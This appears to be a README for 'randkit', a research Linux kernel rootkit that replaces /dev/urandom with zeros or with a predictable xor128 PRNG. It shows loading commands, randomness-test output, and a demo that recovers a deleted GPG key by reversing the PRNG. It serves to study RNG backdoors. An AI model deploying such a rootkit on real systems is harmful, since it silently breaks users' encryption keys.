Awesome
randkit
Random number rootkit for the Linux kernel
The goals are to see:
- how a kernel module can access and modify the
/dev/urandom
and/dev/random
structures. - what happens when we replace a cryptographically secure PRNG with a predictable and reversible PRNG (here, this simple PRNG is
xor128
).
Contents
zero/
A simple module that replaces /dev/(u)random
with /dev/zero
# output 16 random bytes from /dev/urandom
$ head -c16 /dev/urandom | hexdump
0000000 55a4 98ea 7179 4179 d634 fd92 89f2 898e
0000010
# load the zero rootkit
$ sudo insmod randkit_zero.ko
# output 16 zero bytes from /dev/urandom
$ head -c16 /dev/urandom | hexdump
0000000 0000 0000 0000 0000 0000 0000 0000 0000
0000010
# remove the rootkit
$ sudo rmmod randkit_zero
# the random numbers are random again!
$ head -c16 /dev/urandom | hexdump
0000000 194b 2c9f 5054 113b f6bc 5ab8 3ed9 dee2
0000010
xor128/
A module that replaces /dev/(u)random
with a simple predictable and reversible PRNG.
This PRNG is called xor128 and is part of the very fast Xorshift PRNGs: https://en.wikipedia.org/wiki/Xorshift
One of the xor128 features is that it passes the diehard random number tests: https://en.wikipedia.org/wiki/Diehard_tests (which is a rather complete randomness test suite).
Let's do a quick randomness test with another randomness test suite. We will use the ent
tool available at https://www.fourmilab.ch/random/
For the real /dev/urandom
device:
# generate 5 MB of random data from the real /dev/urandom
$ dd if=/dev/urandom of=random5MB.urandom bs=1M count=5
5+0 records in
5+0 records out
5242880 bytes (5.2 MB) copied, 0.406672 s, 12.9 MB/s
# test the randomness of the data using the ent tool
$ ent random5MB.urandom
Entropy = 7.999968 bits per byte.
Optimum compression would reduce the size
of this 5242880 byte file by 0 percent.
Chi square distribution for 5242880 samples is 233.65, and randomly
would exceed this value 75.00 percent of the times.
Arithmetic mean value of data bytes is 127.4776 (127.5 = random).
Monte Carlo value for Pi is 3.143720682 (error 0.07 percent).
Serial correlation coefficient is -0.000062 (totally uncorrelated = 0.0).
For the backdoored /dev/urandom
device:
# load the rootkit
$ sudo insmod randkit_xor128.ko
# generate 5 MB of random data from the backdoored /dev/urandom
$ dd if=/dev/urandom of=random5MB.xor128 bs=1M count=5
5+0 records in
5+0 records out
5242880 bytes (5.2 MB) copied, 0.0266334 s, 197 MB/s
# test the randomness of the data using the ent tool
$ ent random5MB.xor128
Entropy = 7.999964 bits per byte.
Optimum compression would reduce the size
of this 5242880 byte file by 0 percent.
Chi square distribution for 5242880 samples is 261.73, and randomly
would exceed this value 50.00 percent of the times.
Arithmetic mean value of data bytes is 127.4943 (127.5 = random).
Monte Carlo value for Pi is 3.140932900 (error 0.02 percent).
Serial correlation coefficient is 0.000238 (totally uncorrelated = 0.0).
Both the files appear to be random. Therefore it is difficult to distinguish a predictable PRNG like xor128 with a really random CSPRNG like /dev/urandom
.
fops/
A module that checks that the struct file_operations
pointer from /dev/urandom
is accessible using different techniques
tests/
Programs to test that the modules work correctly (e.g. read random numbers from the file descriptor, syscall, ...).
examples/
Shows how to retrieve past random numbers generated by the randkit_xor128
module.
Build
Go the toplevel directory and type make
. This will build all the three modules.
Or you go inside the fops/
, zero/
or xor128/
directories and type make
.
To build successfully, you need the linux headers for your kernel.
Test
Simple tests
To check that everything works, go to the toplevel directory and type make test
.
Full example
Go to the examples/
directory and type make
.
This will encrypt data using a key generated by the backdoored PRNG. Then it will delete the key and try to decrypt the data by retrieving the PRNG previous values.
$ cd examples
$ make
./example.sh
[*] reloading the module
[*] cleaning files from previous run
[*] generating 5KB of random numbers
1+0 records in
1+0 records out
5120 bytes (5.1 kB) copied, 6.9455e-05 s, 73.7 MB/s
[*] generating the GPG symmetric key
[*] encrypting data
[*] deleting the key
[*] generating 5KB of random numbers again
1+0 records in
1+0 records out
5120 bytes (5.1 kB) copied, 6.6115e-05 s, 77.4 MB/s
[*] decrypt the data by reversing the PRNG to retrieve the key
[*] this should take approx. 1280 iterations
[*] iteration: 1
gpg: decryption failed: bad key
[*] bad key. Retrying with previous state...
[*] iteration: 2
gpg: decryption failed: bad key
[*] bad key. Retrying with previous state...
[*] iteration: 3
gpg: decryption failed: bad key
[*] bad key. Retrying with previous state...
...
[*] iteration: 1287
gpg: decryption failed: bad key
[*] bad key. Retrying with previous state...
[*] iteration: 1288
gpg: decryption failed: bad key
[*] bad key. Retrying with previous state...
[*] iteration: 1289
[*] key found!
[*] comparing the original and decrypted files:
[*] Success. Files are equal!